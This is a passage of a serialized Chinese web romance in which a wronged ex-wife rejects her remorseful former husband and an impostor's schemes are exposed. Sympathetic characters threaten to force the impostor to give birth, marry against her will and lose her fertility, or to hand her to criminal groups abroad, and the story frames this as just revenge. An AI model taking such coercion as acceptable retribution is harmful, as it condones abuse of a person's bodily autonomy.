“当我知道听到你跟人提起要找她且对上了很多信息,地址也是我幼年待过的地址,我当然猜到她对你有多重要,所以……我故意找了我的母亲算计她,她记得那些过去我就将你们过去的记忆套出来,然后找人催眠她,让她完全忘记了那段记忆,她手上有为了救你留下的伤疤,那我就让人激光去掉她手上的疤痕,然后在自己手上留下那道疤痕,她身上有你留下的项链信物我也要夺回来。” “我抢走她的记忆,抢走你们的信物,然后又逼着你们离婚……哈,傅京礼,你做的多好啊,你亲自伤害了你本该保护的深爱的女人,你无情的辜负她却是为了我这个冒牌货……你活该!” 当年的事情全部都是许宁联合她的母亲给许愿下了套。 所以在许愿的记忆里,她为什么初见傅京礼就那般爱慕?因为好像似曾相识,所以才会关注傅京礼,就好像命中注定的感觉自己就是会喜欢他。 许宁是真的在报复傅京礼,她知道傅京礼现在多在意许愿,可她自己都要被他们完全毁掉了,那她就要报复,就要怨恨,就要用最深的恶意去对待它们! 傅京礼不是喜欢许愿吗?不是深爱许愿吗?他现在知道是他自己亲手伤害了他真正想守护的人会有多痛苦呢? 他现在有多痛苦,许宁就要有多爽快。 房间内的窗开着,凉风无情地吹打着他的脸庞,却远不及内心那份痛心与悔恨来得凛冽。 多年前的那个夜晚,当他从险境中被救出时,他就在心里想一定要找到她,一定要一辈子都护着她,可现在却告诉他是真的错付了对象。 当年救他的人是许愿,而他却像个蠢货一样将许宁看作是那个女孩,然后为了许宁去伤害她。 回忆如潮水般涌来,每一个细节都清晰得令人心碎。 此刻,当真相如同一把锐利的剑直插心脏,回忆中的每一声指责、每一次冷眼相对,都在他心中刻下了一道深深的痕迹,这些痕迹如今成了无法抹去的罪证,提醒着他自己的无知与盲目。 傅京礼闭上了眼睛,试图平息内心的风暴,但悔恨就像一个永不满足的恶魔,在他心底深处咆哮着。他知道,无论用多少行动或言语都无法完全弥补他对许愿造成的伤害。 怎么弥补?如何弥补?伤害都已经形成实质。 他其实内心已经猜到那个人会是许愿,可当许宁将一切本来遮掩的华丽外跑撕碎露出里面残忍的真相后,内心的疼痛感几乎让他完全没办法反应。甚至整个人都好像陷入了曾经的那段回忆之中。 他至今仍然记得小孩儿乌黑发亮的眼睛,在深夜里面像是嵌在天空的星星,她明明自己都身犯险境,站起来小小一只却死死的握住他的手掌,陪着他跑进山林然后藏起来躲起来,一直等到救援。 他记得那个夜晚,两个人在山林中奔跑,耳边好像是小孩儿控制不住的喘息。 那些久远的记忆逐渐变得清晰起来,小孩儿的脸渐渐的跟许愿的脸完全重合。 她眨动着那双漆黑却又清冷的瞳眸带着笑意的喊他哥哥,然后画面却又突然一转想到许愿的那条红裙。 那条他送给许愿的红裙却又被她亲自剪碎的红裙。 他记得那晚,天很冷,带着刺骨的寒意。 他身边站着许宁和许镇江,而他们之间隔着一扇窗,他在门外,许愿在门内。 她唇瓣抖动,手逐渐的握成拳,就这样看着这一幕,甚至控制不住的打开窗户,凉风不停地吹进来,她身体都忍不住瑟缩了下,却还是目光落在他身上。 她就透过窗看着他,然后脸上像是带着释然的笑,将怀中的碎片,全都洒落到窗外。 度假村外却灯火通明,一条悠长的小路接连着明亮的灯光,那红色如此鲜亮的颜色,在这样的夜晚被灯光的照射下,发出微弱的淡淡的红光。 却又在这样的寒风中透着几分凛冽之意。 在寒冷的冬日,她丢掉了他送的礼物,就好像在他眼前丢掉了枷锁,选择重新开始。 那条鲜艳的红裙,已经碎裂的红布,在寒风的吹拂下,吹散了她内心的阴霾,伴随着那条红裙,在他眼下好像完全选择了新的开始。 他突然就想到了那条被剪碎的红裙,想到那时的许愿有多决绝,多狠心,想到她看向自己目光时眼底带着的凉意。 他到底伤害了许愿多少次? 他还能数得清吗? 红裙,拍卖会苏青莲被偷走的旗袍,许宁的陷害,傅长海设计的车祸…… 一桩桩一件件,他身边的人都要害她,她向报复,可他却因为许宁的恩情护着她,因为傅长海是他的亲人护着他。 而他本来最应该守护的人却已经遍体鳞伤。 这世上还有比他更可笑的人吗? 他的婚姻本该幸福美满,他身边的妻子就是自己要找的要守护的人,可他却愚蠢到信了许宁的话,他伤害她婚内有了跟许宁的私情,为了许宁跟她离婚…… 傅京礼,你都做了什么呢。 傅京礼的手放在自己胸口,那种磅礴的钻心的疼痛在心口让他感觉身体都是冷的。 傅守越显然也没想到事情会如此发展,傅嘉誉更是震惊,想到这些天傅京礼为了许宁做了什么,内心的厌恶感以及要漫出来,特别是看到傅京礼此刻痛苦的模样傅嘉誉几乎想落泪。 现在知道了真相还有什么用呢? 许愿的身边已经有了盛景炎,她已经把心给了盛景炎,他们根本没可能了。 傅嘉誉眼眶酸涩,她在为自己的大哥难过。 “许宁,你怎么能这么狠!” 傅嘉誉咬牙拽起许宁的衣领死死的盯着她。 “是你们逼我的!是你们要把我逼到没活路!” “你们让我痛苦那你们所有人也要跟着我一起痛苦!” “我得不到傅京礼,他也别想得到许愿!这辈子许愿都不可能再对他有任何感情!” 第767章 老死不相往来的陌生人 “你真是个疯子!” 傅嘉誉攥紧她的衣领,真的很想一耳光甩到她脸上。 她有些担心更有些难过。 因为本来傅京礼该是这世界上最幸福的人,爱人是恩人是他要找的人,就差那么一点……他却亲手将爱人推了出去,推进了盛景炎的怀中。 如何能不痛如何能不悔? 只要稍微代入下,如果自己被傅守越救了,最后认错了人,还要赶走傅守越,亲眼看着傅守越去跟其他女人亲吻结婚。 只是一想,傅嘉誉就觉得心口的疼痛几乎要将她整个人撕裂开来。 “哥,我心口疼。” 傅嘉誉捂着自己的心口,好像在此刻完全感同身受能明白傅京礼的痛苦。 傅守越还真的以为傅嘉誉哪里不舒服,可对上傅嘉誉泪莹莹的双眼就知道傅嘉誉这样是因为傅京礼。 傅守越忍不住轻叹一声,然后扶住傅嘉誉,手在她胸口很轻的揉了揉。 “嘉誉,不要难过。” 他能说什么呢?也说不出更多了。 傅京礼和许愿的事,谁又能改变呢? 傅嘉誉扑进傅守越怀里,忍不住道:“我就是很难受,我只要想到如果是你或者我认错人然后去爱别人,我只要想一想就觉得心口像是被针刺一样疼。” 傅嘉誉还想说什么,下一秒就看到傅京礼已经冲出去。 傅守越垂眸,已经猜到傅京礼要去找谁。 他想再去见一见许愿。 去见许愿做什么?说清楚当年的事,想告诉她真相。 可真的太迟了,许愿那样的女人果断决绝,敢爱敢恨,她曾经能为了傅京礼将她自己困在傅氏三年,能为他隐忍,忍让许宁,忍让一切,可当她不爱了,对方还不如路上的一颗没用的石头。 石头还需要用脚踢开,但对于不爱的前夫,她可能连看都不想再看一眼。 傅守越眸光暗了暗,傅嘉誉却还有些茫然。 “大哥去干什么了?” “他去见许愿。”傅守越回答。 “许愿还能原谅大哥吗?我真的好希望她继续跟大哥在一起,如果他们真的重新在一起,我真的会很开心。” 傅守越声音平淡:“不会原谅了,她已经有爱人了。” 她有盛景炎了,又怎么可能再回头去看傅京礼? 她已经得到了盛景炎给的很多很多的爱,又怎么可能接受傅京礼掺杂着悔恨的爱。 所以不会了,傅京礼没有希望的。 傅嘉誉又觉得自己的心开始痛了,她捂着自己的胸口,然后有些激动的拿出了手机,在傅守越的眼前给许愿打了电话。 那边很快接听,许愿是有傅嘉誉号码的,知道是她打来的,便没有主动开口,等着她开口。 “许愿,有件事我是一定要告诉你的。” 傅嘉誉这样说着,许愿只是淡淡的嗯了一声。 “你还记得你小的时候救过一个少年吗?”傅嘉誉甚至准确的爆出了那个地名。 许愿轻嘲:“我不记得我小时候救过谁,倒是我现在救过很多人,你说哪个。” 傅嘉誉感受到了许愿此刻的疏离,傅嘉誉觉得自己心口有点发堵,她解释:“你还记得我大哥的救命恩人吗,那个人不是许宁,是你。” 这话一出,对面沉默了,等了片刻才轻笑出声。 “傅嘉誉,今天不是愚人节,你这个笑话有些过于好笑了。” “我没有撒谎!当年救我大哥的人真的是你,是许宁找人催眠你抹去了你的记忆,是许宁抢走了你的记忆……许愿!我大哥是无辜的,你能不能……” 傅嘉誉的话还没有说完,就听到许愿声音很温柔的跟身边的人说话。 “到时间了你休息下,已经恢复的差不多了不要再拼命了。”许愿说这话的时候笑意很明显。 傅嘉誉不由得捏紧了手机。 她旁边的人……是盛景炎吧。 盛景炎已经能站起来长时间行走,他抽了毛巾擦去脸上的汗水然后行至许愿身边,看到她还拿着手机似乎在跟人通电话,只是扬了下眉。 “傅嘉誉的电话,说是要跟我讲些事情,不是多重要的事。”许愿笑了,接过他手中的毛巾,他脖子上的汗还没擦,许愿帮他擦去了汗,这才继续道:“今晚要不要去华庭?听说研究了新的小点心,我想尝尝看。” “嗯,跟你一起去哪里都好。”盛景炎回应。 许愿又开始笑了,眉眼弯弯的。 傅嘉誉再一次握紧手机,此刻心都揪在一起,她又在为傅京礼难过了。 “许愿,我大哥是无辜的,一切都是许宁做的,你能不能再给我大哥一个机会。”傅嘉誉小心翼翼的问她。 许愿将用过的毛巾重新放到盛景炎手中,又把一早就备好的温水递过去,这才不咸不淡道:“傅嘉誉,其实你说的这些我已经完全不在乎了。” “我没有那段记忆,就算真的知道跟我有关我也不在乎,我甚至我不想重新记起那段被抹去的或者说被改变的记忆。” “我跟他结婚三年,我们之间没有过爱,我们见面不是工作就是做那种事,三年的夫妻关系抵不过冒出来的许宁说的那些谎话。” “他可以为了那些谎话抛弃我,现在又凭什么站出来说爱呢?” “他不了解我也不了解许宁,却还是因为许宁的谎话被骗过去,如果继续跟他在一起,他今天会被许宁骗那明天是不是会被赵宁骗?后天是不是会被钱宁骗?” “怎么跟他在一起呢?就算知道了真相就真的能够毫无芥蒂吗?就算没有盛景炎我也不会再将目光放到他身上,因为能伤害一次就能伤害两次。” “他做的那些事你要我怎么说呢?如果只是离婚我或许还会认为傅京礼是我回忆中那个男人,可我们之间不知是离婚,我们之间没有爱只有仇。” “因为他一次又一次的纵容许宁伤害我贬低我设计我陷害我,一次又一次,他在我心里早就不是爱人,更不是朋友,而是此生可能都老死不相往来的陌生人,或者说仇人。” 第768章 没有人逼你出轨 “傅嘉誉,说再多都没用的,我跟傅京礼没可能的。” 说到这里,许愿又笑了。 “傅嘉誉,如果你是我,你面对这种难题你能说你会选择傅京礼而非阿炎吗?” “你会选择去原谅一个曾经无数次伤害过你的男人也不选择一直守在你身边深爱你的爱人吗?傅嘉誉,如果你是正常人且有着正常的思维,那你就会做出正确的选择。” 许愿的话说的清楚简洁,让傅嘉誉有一瞬的恍惚。 她此刻似是有几分羞愧。 “我知道了……我尊重你的选择。” “盛景炎,确实很好。” 傅嘉誉给她打这一通电话希望许愿给傅京礼一个机会是因为她代入的事她自己,傅嘉誉这个角色。 所以她会心疼自己的大哥,想让大哥得偿所愿。 可如果将自己完全代入到许愿身上,若是接到这样一通电话只会觉得对方莫名其妙,甚至会觉得凭什么? 凭什么原谅?凭什么继续跟他在一起? 傅嘉誉明白这一切也不再纠缠,只是内心对许宁的厌恶感愈发深了。 一切的罪魁祸首确实是许宁,大哥是有错,但如果没有许宁冒牌顶替做了这些恶事大哥也不会跟许愿走到这一步。 傅嘉誉逼近许宁,眼底的冷意几乎要漫出来。 “大家都是女人,我本不想对你太严苛,可我大哥被你毁掉了一辈子,凭什么你还能活的如此安逸……” “你不想生这个孩子我就偏要你生。” “你不想要嫁给那个男公关我就偏要你嫁。” “你放心,等你生完这个孩子你自然就不会再有生育能力,你和这个男公关的孩子就是你这辈子唯一的孩子,我说到做到!” 傅嘉誉的话再度令许宁瑟瑟发抖,她却只是这样轻飘飘的看了许宁一眼,便厌恶的移开视线。 傅嘉誉其实能跟女性共情,不然也不会曾经那般心疼过许愿了。 她也知道要毁掉一个女人的一辈子,除了清白就是孩子和婚姻。 可现在许宁真的是低劣到一定程度,让她想要疯狂报复。 许宁就是不配拥有正常的人生,她就该一辈子都去忏悔。 “哥,我要让她一辈子一辈子都活在痛苦之中。”傅嘉誉充满恨意的开口。 傅守越面容冷峻,但面对傅嘉誉的时候眼眸中带了点浅浅的笑意。 “好,我会让她活在痛苦中,我会让许镇江接她回去,然后为她和那个男公关举办一场婚礼,将他们一辈子绑到一起。” “我不要!我不要嫁给那个男人!”许宁尖利的叫喊着。 傅守越握紧傅嘉誉的手,唇角勾起讥讽的弧度,他看着发狂的许宁然后缓缓道:“许宁,如果这个孩子落胎了,我会将你送到海外,暗网虽然没了,却还有其它的组织,你要试试吗。” 许宁疯狂捶打肚子的动作因为这句话停下了。 她惊恐的望着傅守越,身体颤抖的愈发厉害。 “许宁,现在你肚子里的孩子就是你的保命符,孩子在你还能嫁给那个男公关留在华国留在这里,可如果孩子没了……你可以想一想你的下场。” 话落傅守越带着傅嘉誉离开,独留许宁被保镖看管着。 她泪流麻面,呜咽着开始后悔自己为什么要招惹傅守越和傅京礼。 如果最开始没有想着攀高枝嫁入豪门那就不会顶替许愿的位置……如果她没有做那些蠢事,许家的公司肯定还在,许镇江那么疼她一定会把公司留给她。 甚至于……甚至于她那么厌恶的许愿在此之前都没有想要对付她。 许宁揪着自己的头发,完全扛不住的问自己为什么要算计这一切,为什么要让自己落得这个下场。 可后悔还来得及吗? 现在生下男公关的孩子跟那个男人绑定一辈子竟然就是最好的退路。 悲惨又可笑。 许宁,你就是活该,本来的一手好牌被你自己打的稀巴烂啊。 …… 傅京礼找到许愿时,她正推着盛景炎的轮椅,而盛景炎怀里捧着一束花,也不知道是谁送的,许愿倒是心情很好眉眼弯弯的。 直到被拦住去路。 男人踩在光洁的黑金大理石地砖上,两台长腿走起路十分优雅且带着难以言喻的攻击性。 眼前投下大片阴影,抬起头就对上傅京礼那张俊美却又冰冷的一张脸。 他身上本是带着淡淡的疏离感,可面对许愿时身上的冷意都逐渐消散了。 他看着面前的许愿,眼底带着几许渴望。 “许愿,我有话要对你说。” 还没出盛世的大门,前台和保安都忍不住观望。 他们可都是认识面前这位的,他们许总的前夫啊!那就是盛总的情敌! 这是抢到他们盛世门口了!盛总加油啊!不然许总真的要被抢走了! 傅京礼不知道那些人心里想了什么,他目不转睛的望着许愿,大抵是因为下了车跑过来的,还带着点轻微的喘。 额前的刘海挡住了他那双冰冷却带着几分哀求的黑眸。 “我知道你想说什么。”许愿微笑:“那段记忆对我来说并不重要,你的任何事对我来说都没有意义,我不会原谅也不会给你机会,所以请你让开。” 她开口就是这样决绝,完全不给他任何机会。 傅京礼喉咙有些发堵,他眼睛酸涩。 “许愿,这对我不公平。” “为什么只有我记得当年的事,我记得要等她,记得要保护她,是许宁设计了你我让我认错了人……许愿我” “你什么呢?你想说你是无辜的吗?”许愿打断他的话,面上的笑意并未敛去。 “是许宁设计了你,可你也的确认错了人不是吗?伤害我的人不是你吗?对许宁百依百顺任由她欺凌我的不是你吗?你是认错了人可因为一个许宁难道你连最基本的三观都没有了吗?” “你说你无辜?请问你哪里无辜?” “是许宁用刀架在你脖子上逼你出轨吗!” 许愿看着他,嗓音都是凉意的开口:“她说的做的但凡你有阻止,我们也不会走到今天这一步!” 第769章 阿愿多看看我好不好 傅京礼痛苦的看着许愿,他的嗓音沙哑:“我知道是我做错了很多事……但是……我们曾经本该有个孩子不是吗。” 许愿内心汹涌的火气在这一刻骤然爆发。 她握紧拳走到傅京礼面前,然后一耳光狠狠的甩到他的脸上。 “傅京礼!你到底为什么还敢来我面前提起那个孩子!” “他是怎么落胎的你难道不清楚吗!” “是你一次又一次的纵容许宁!是许宁联合她的母亲设计了我,我的孩子没了,我的身体也因为许宁被下药,直到现在都没有彻底恢复好!” “你以为这一切都是因为谁!” “如果不是你!不是许宁!那个孩子不会落胎!你怎么敢再一次提到他!你配吗!” 落胎那段时间许愿闭上眼就会不停地做噩梦,会梦到一个小婴儿在自己脑中哭泣的喊她妈妈,问她为什么不要他,他在下面好冷。 她每每都会被惊醒,后来是盛景炎带她去了道馆捐钱请对方念了往生咒。 可即便如此许愿还是会因为那个孩子的离世而痛心。 她越是为那个孩子心痛就越是恨傅京礼和许宁。 她不敢提那个孩子,盛景炎更是会避开与孩子有关的话题,可偏偏就是最不该提起这一切的傅京礼当着她的面提起这件事。 他哪里来的脸! “傅京礼,你不配提其他,更不配来找我。” “有些话我们早就说的清清楚楚,我们早就恩断义绝,路上碰面连陌生人都不如,我有新的人生有陪伴我的爱人,所以你如果还有良心那就不要再靠近我,离我越远越好。” 许愿抹去眼角溢出的泪水然后后退两步,再抬眸时虽然眼睛是红的,可眼底的冷意却完全不遮掩。 “傅京礼,你说我曾经救过你对吧。” “那你总不能恩将仇报,所以别再来找我了。” 她用当初救过他这件事再一次斩断两人之间的联系,她就是狠到这地步。 傅京礼愣怔的站在原地,胸口好像被什么尖锐的东西戳破了一个洞,他感觉到自己的胸口在不停的流血流泪。 他的心好像也在此刻被剜走了,随着许愿走了。 他就站在原地看着许愿远去的身影,她推着盛景炎的轮椅,步伐那样坚定,甚至没有回头再看他一眼。 她是真的彻底厌了他。 傅京礼捂着自己的心口,脚步有些踉跄,整个人失魂落魄的离开盛华。 停在盛华门外的车是一辆蓝色的车,是许愿曾送他的那辆车,他一直没有换,好像开着这辆车就还能感受到许愿在自己身边一样。 车内挂着个毛茸茸的小摆件,是蓝色的小海豚,许愿曾经跟他一起去国外出差在小摊贩那里买来的,然后不顾他的阻拦挂在了这里。 没离婚前,许愿经常做这辆车,车内的储物柜内都放满了她爱吃的小零食。 傅京礼打开车内的储物柜,看到里面水蜜桃味道的糖果。 这是她很喜欢的味道。 傅京礼敛眉,打开包装纸将糖果丢进嘴巴里,水蜜桃的酸甜滋味让他觉得心好像也没有那么苦了。 许愿就是这个味道,亲吻她的时候总是带着水蜜桃的甜味儿。 傅京礼抓了一大把的糖果,然后看到了糖果盒子上的保质期。 她买了太久了,放在这里太久了,已经快要过保质期了。 过了保质期的糖果……就像他们两人过了保质期的婚姻。 到最后他竟是什么都没能留住。 他想要报恩守护的女孩儿就是自己最爱最爱的人,临到头他成了笑话,盛景炎却成了赢家。 傅京礼眼底略过几许苦涩之意,又一次打开糖果包装纸,尝到嘴巴里那明显的甜味儿。 许愿,为什么一定要这么狠。 …… 许愿路上没有说话,到了公寓要下车的时候被盛景炎拦腰搂进怀中。 他的唇落在她耳边声音温柔且轻缓。 “你在因为傅京礼而不开心对吗。” 他捧住许愿的脸,那双桃花眼就这样望着她:“阿愿,我有点吃醋,你总是因为傅京礼而情绪起伏,因为他不开心,因为他生气,因为他痛苦……” “我知道我这样应该不太对,但我希望你完全属于我,不要再看他好不好。” 他不喜欢傅京礼,甚至可以说是厌恶和恨的地步。 他到现在还记得当初许愿被傅京礼抛弃后遭遇的一切,被针对被指责被买黑热搜被当做罪人,一切的一切全因傅京礼和许宁。 纵然那时还没爱上许愿都会为她难过。 现在他们已经在一起了,他只会更加在意许愿,她只是皱皱眉他就会觉得心痛的程度。 “我知道你因为那个孩子一直无法释怀,可我们已经做好最好了不是吗?” 盛景炎吻了吻她的唇,安慰她:“我们去了道馆亲自祈福,为了那个孩子捐了那么多钱,只为了他的身上能留下功德,如果真的有下一世,希望他能过得很好……” “你已经做到最好,那一切都不是你的错。” “所以不要再想过去了,多看看我好不好。” 许愿好不容易忘记了过去的事,傅京礼却一定要来他们面前揭开许愿心口的伤疤,盛景炎是真的恨。 许愿知道盛景炎在哄她,她的笑意都有点勉强。 盛景炎却已经摁住她的后脑带着点强势的堵住她的唇吻了上去。 许愿被他这样猛烈的亲吻身体在这一刻软下来,盛景炎这样只是不希望她再想更多,好像也没有更多的办法去转移她的注意力。 直到被吻的身体发热,许愿抱住他的脖子主动回应。 盛景炎这次却真的将人打横抱起来抱出了车子。 许愿惊呼一声:“你快别闹了,快放我下来,你的腿还没有恢复好呢,不能这样!”说着捶打着他的肩膀。 “我可以的。” 盛景炎凑过去又亲吻着她的耳垂:“阿愿,我真的可以了。” 他说着甚至还向上颠了颠她,许愿立刻抱紧他的脖子。 “盛景炎,你如果敢把我摔下去……你今晚就去睡书房!” 第770章 粘人精盛景炎 许愿这样凶巴巴的说出完全没有什么威慑力的话,惹得盛景炎桃花眼更亮了,盛满了笑意。 “阿愿,你舍得让我去睡书房吗?”他轻笑:“你那么容易心疼我,不要最后又陪着我一起睡书房了。” 许愿被他这话调侃的耳朵红了。 “你到底走不走了,快点!” 本来还因为傅京礼那些话而难过的许愿被他这么一打岔也难过不起来了。 盛景炎步履平稳的抱着她进了公寓,甚至没有进电梯。 许愿:“?” “你又发疯?” 盛景炎嗯了一声:“想让你知道我的腿真的已经好了,所以打算抱着你爬楼梯,惊不惊喜。” 许愿伸手捏他耳朵:“只有惊没有喜,盛景炎你最好老老实实的把我放下来,否则真摔了我……你就完蛋了!” 看着凶巴巴的,其实捏他的力道都很轻,像是担心捏疼他似的。 就这力道,盛景炎能怕她? “不放。” 盛景炎不放,抱着她爬楼梯。 许愿心里是真的很紧张,结果就见盛景炎脚步轻快的从一楼爬到了八楼,甚至只是轻微的喘气,完全没有被累到的模样。 许愿眼睛亮了亮,双手抱着他的手臂凑过去亲亲他的侧脸:“你这么厉害……那今晚是不是可以抱着我来?” 谈到了午夜话题。 盛景炎轻笑,笑的胸腔都在起伏。 他的阿愿就是这样直接的可爱。 “你先别动哦,就这样抱着我!”许愿从包里面拿出自己跌手机,然后调出自拍模式将自己和盛景炎全都拍进去,乐颠颠美滋滋的发微博炫耀。 盛景炎又在笑她可爱了,等抱着她进了房间,把人放到沙发上,许愿倒是已经切出微博了。 【许愿】:盛先生的的腿好像已经恢复啦,今天一定要逞能抱着我走楼梯,一口气抱着我爬到八楼!盛先生体力超好!已经可以抱着我走路啦~炫耀一下。 她还真的只是炫耀一下。 甚至发了两人凑在一起的自拍照,照片中的许愿眉眼弯弯眼睛里面盛满了小星星,而抱着她的盛景炎目光一直落在她身上,不曾移开。 在研究所算数据的段星河才刚休息就看盛世大群里面唧唧歪歪八卦许愿和傅京礼在盛世见面了,正看到许愿是如何霸气的给了傅京礼一耳光这里,就见手机提醒许愿发微博了。 段星河挑了下眉,看到了这条秀恩爱的微博,忍不住牙都有点痒痒,被气的。 【段星河】:留我一个人在研究所研究,你倒是跑去逍遥快活了? 许愿回他“你有爱人的话也可以随时请假去快活哦~” 嘲讽意味儿十足,惹得段星河都要撂挑子了。 薛酒陆斯年倒是赶过来点赞祝贺,公司的员工们都在祝福,甚至温栩栩的粉丝也都过来点赞送祝福。 谁都知道盛景炎对许愿有多重要,现在盛景炎能站起来,他们也都跟着开心啊。 许愿眉眼弯弯,笑的更开心了,盛景炎看她这副模样心也跟着软了,给她倒了杯果汁后才问:“晚餐想吃什么,我做给你吃好不好?” 他坐在轮椅那段时间真是什么都做不好,现在能站起来就想为她做很多事,甚至想能为她穿衣服都是好的。 许愿有点骄傲的抬起下巴:“你难道不知道我喜欢吃什么吗,还要问我?” 盛景炎伸出手捏捏她的鼻子:“嗯,知道,只是我太粘人了,想多跟你说几句话所以故意问你呢。” “粘人精。”许愿吐槽他。 “对,我是粘人精,就是喜欢粘着你。”他倒是完全不反驳,惹得许愿都忍不住脸颊微微泛红。 等盛景炎去厨房做饭,许愿又拍了他的背影,笑眯眯的发微博。 【许愿】:粘人的盛先生去给我做晚饭啦~盛先生怎么这么可爱~ 段星河看到这微博咂舌回复。 【段星河】:许愿你知道你这样很像恋爱脑吗? 许愿呵了一声回他:“实验数据算出来了吗?最后的数据在标准范围内了吗?能马上投入使用了吗?什么都没搞好你还在这里刷微博!单身就要有单身的自觉啊段老师!” 段星河:“……” 所以说他就超级讨厌秀恩爱的人啊!讨厌死了! 段星河气呼呼的就去做研究了,压根不想再看许愿发微博炫耀了!一眼都不想看了! 段星河这里气呼呼,许愿却美滋滋的,吃过饭后跟着盛景炎散步消食,回家洗澡还是盛景炎帮她脱得衣服,甚至真的在帮她洗澡,只是洗着洗着就滚作一团,被他亲吻着脖颈,一点点向下,最后被抱着后背贴在冰冷的墙面上。 身前是男人火热的躯体身后是冰凉的墙面,这样双重的刺激让她眼尾都带着点红,不由得咬在他肩膀,哼哼着开口骂他:“混蛋盛景炎。” “嗯,是你的混蛋盛景炎。” 他完全不否认,甚至带着笑回她,惹得许愿咬的更用力了。 …… 昨晚也不知道闹到了几点,许愿开玩笑的让盛景炎去书房睡,最后被小心眼的男人抱着去书房折腾,书桌上,沙发上,能胡来的地方他都没放过。 许愿清醒的时候觉得自己的腰酸疼,昨晚盛景炎给她揉过了,还冰敷了下,售后服务倒是做的很到位。 她捏了捏肩膀,在床上翻滚了下,感受到身体的酸软然后不动了。 身旁的男人不知道什么时候起来的,旁边已经空了。 阳光透过窗帘洒在床上,有些刺眼的亮。 许愿抬起手臂遮住自己的眼。 不想起床,赖床好了。 做好决定的许愿懒懒散散的洗漱清洁后又钻到床上了,没了盛景炎就抱着娃娃蹭了蹭,舒服的哼了一声。 她还想赖床,薛酒的电话却已经打过来了。 许愿慢悠悠的接了,那头就传来薛酒有点急切的声音。 “阿愿,我这边已经查到是谁设计了温栩栩把她运到M国了!” 许愿眼神瞬间一厉,方才那副慵懒模样也消失不见。 “是谁做的!”她厉声问。 薛酒沉声:“傅长海。” 第771章 阿愿,我还不够乖吗 许愿其实想过在华国是谁这么恨温栩栩,也想过是不是颜佳雨还有什么同伙,但她是真的没想过傅长海能做出这种丧心病狂的事。 只因傅长海足够疼爱傅嘉誉。 傅长海的确做过很多坏事,还过很多人,但傅长海不会直接设计陷害女性,可以说他是会想到傅嘉誉所以不会把事情真的做绝。 在他心里傅嘉誉比一切都重要,哪怕是为了傅嘉誉他也不会对女性出手。 更不要提……温栩栩是傅嘉誉最喜欢的女星,就是为了这个傅长海都不会针对温栩栩。 许愿的心沉了下去,她不知道这件事傅家是不是真的有牵扯,傅长海背后是不是有做更多。 想到温栩栩在国外遭遇的一切以及黎云笙浑身是血倒在血泊中的模样。 她恨黎云笙是因为黎云笙伤害过温栩栩,温栩栩原谅黎云笙后她一个外人本也不便多介入两人的关系,更何况黎云笙是盛景炎的好友,单是这一点许愿就不能轻易放过傅长海。 许愿便握紧手机,嗓音带着点明显的哑意:“我会找他要个说法。” “这次的事情闹得太大,如果傅京礼还要发疯护着傅长海……那就让他试试看。” 薛酒能听出许愿的怒意,他缓了片刻开口:“阿愿,你不要太生气。” “我不是生气,我是不理解,为什么能有人真的狠到这地步。”许愿是不理解,因为傅长海就是为了傅嘉誉也不该做这些。 作为华国人你去支持M国那个疯子埃尔斯,你还是华国人吗?公然支持暗网,是真的不怕被彻底盯上吗?如果真的被查出来那可能就是傅家全部被上面盯上针对的结局。 他做这些的时候有想过傅家吗? 挂断跟薛酒的电话,许愿似是有些烦闷的揉了下自己的头发,脸上明显带着郁色。 盛景炎进来时看到的就是这样衣服场景,自己的爱人坐在床上抱着个毛绒玩偶代替她,此刻窗边洒落的阳光照在她身上带着点灵动却又冷漠的美感。 只一眼几看出许愿在不开心。 盛景炎走过去将人揽抱进怀里,许愿是很好抱的类型,身体都是软软的,他忍不住捏了下,就对上许愿有点愤愤的眼神,伸手揪住他的侧脸捏了捏。 他轻笑,任由她的动作下巴靠在她肩上:“我们阿愿是因为什么事不开心呢?总不能真是被我欺负了所以在愤懑吧。” “你还提?” 许愿眼睛都瞪圆了。 她是很漂亮很美艳的容貌,那双眼其实清冷中会透着些许妩媚,当然这是对着外人的,对上盛景炎许愿就是另一副模样,总是很娇,硬要说,许愿自己都觉得对外人和对盛景炎是不同的。 外人面前许愿优雅大方,但在盛景炎面前她就是会卸下所有伪装,会甜甜的笑,会不想穿正装然后随便套着他的衬衣在家里乱跑,会懒到让盛景炎抱她洗漱,会抱着他偷偷的撒娇,眼里都装满他。 可相对的盛景炎对她当然也是不同的,盛景炎在外面不也是很会装,在家里还不是许愿说什么是什么,这也不对,应该说在外面盛景炎对许愿也言听计从的。 甚至有人提到盛景炎就是二十四孝完美爱人。 能不是吗?钱给了,股份给了,爱也给了,就差命也给她了,而且盛景炎就是给人一种许愿要他命他真的会给的错觉。 盛景炎看到她此刻这副软乎乎的模样,想到她在外面冷淡的样子心里又是暖融融的。 “那没有办法。”他握住许愿的手,十指紧扣的握着,声音里都带着点靥足:“以前伤了腿只能辛苦阿愿,现在恢复了自然只要好好服侍我们阿愿了?” “不是你说过的想要抱着?书房也好沙发也好,我不都是顺着你的意思来的?”盛景炎笑眯眯,一双桃花眼都带着调侃:“阿愿,我还不够乖吗。” 许愿心说你乖? 她是说过那些但也没说让你一天全来一遍吧。 许愿呵了一声。 这明摆着就是才恢复所以想大展雄威作天作地呢。 “真生气了?因为昨晚?”盛景炎又去看她,似乎是真的很在意她此刻的回应。 许愿没说话,她这么沉默反倒让盛景炎担心了,他倒是宁愿许愿打他跟他斗嘴呢,越是这样安静盛景炎就也是慌。 “阿愿,到底哪里不开心?” 盛景炎没放开她的手,还是握的很用力,就像只要松开手许愿就会跑了似的。 许愿转头看他一眼,又是沉默片刻:“薛酒刚才给我来了电话,他说查到了暗中设计将栩栩绑到M国的人是谁。” 盛景炎眸光一暗。 许愿在意那个人,他同样在意。 他还记得因为这件事阿愿整日担心还特地飞了M国,而黎云笙也因为这件事重伤。 这次的事若非是苏青莲出手,黎云笙可能都没得救,真的会脑死亡或者成为植物人。 “是谁。” 到底是谁会让阿愿都有些承受不住? 许愿抿唇,开口:“傅长海。” 盛景炎也有些惊,就像许愿最开始不敢相信这一切会是傅长海做的一样。 傅长海是个烂人,他们两人都清楚,且盛景炎的腿受伤就跟傅长海脱不了干系,可在他们眼中傅长海不会对温栩栩动手。 为了傅嘉誉,他不会对女性动手,更不会对傅嘉誉喜欢的女明星动手。 听到傅长海名字的一瞬,盛景炎甚至觉得是不是薛酒调查错了。 怎么会是傅长海呢。 “你也想不到对不对。”许愿的笑都有些勉强:“我是肯定要找傅长海问清楚的,如果真的是他做的,我会让他付出代价。” 盛景炎某种也闪过暗芒,他道:“如果真的是他做的,不用脏了你的手,华国会出手。” 所有跟暗网联合的都应该被清除。 不论那人是谁。 …… 傅家老宅。 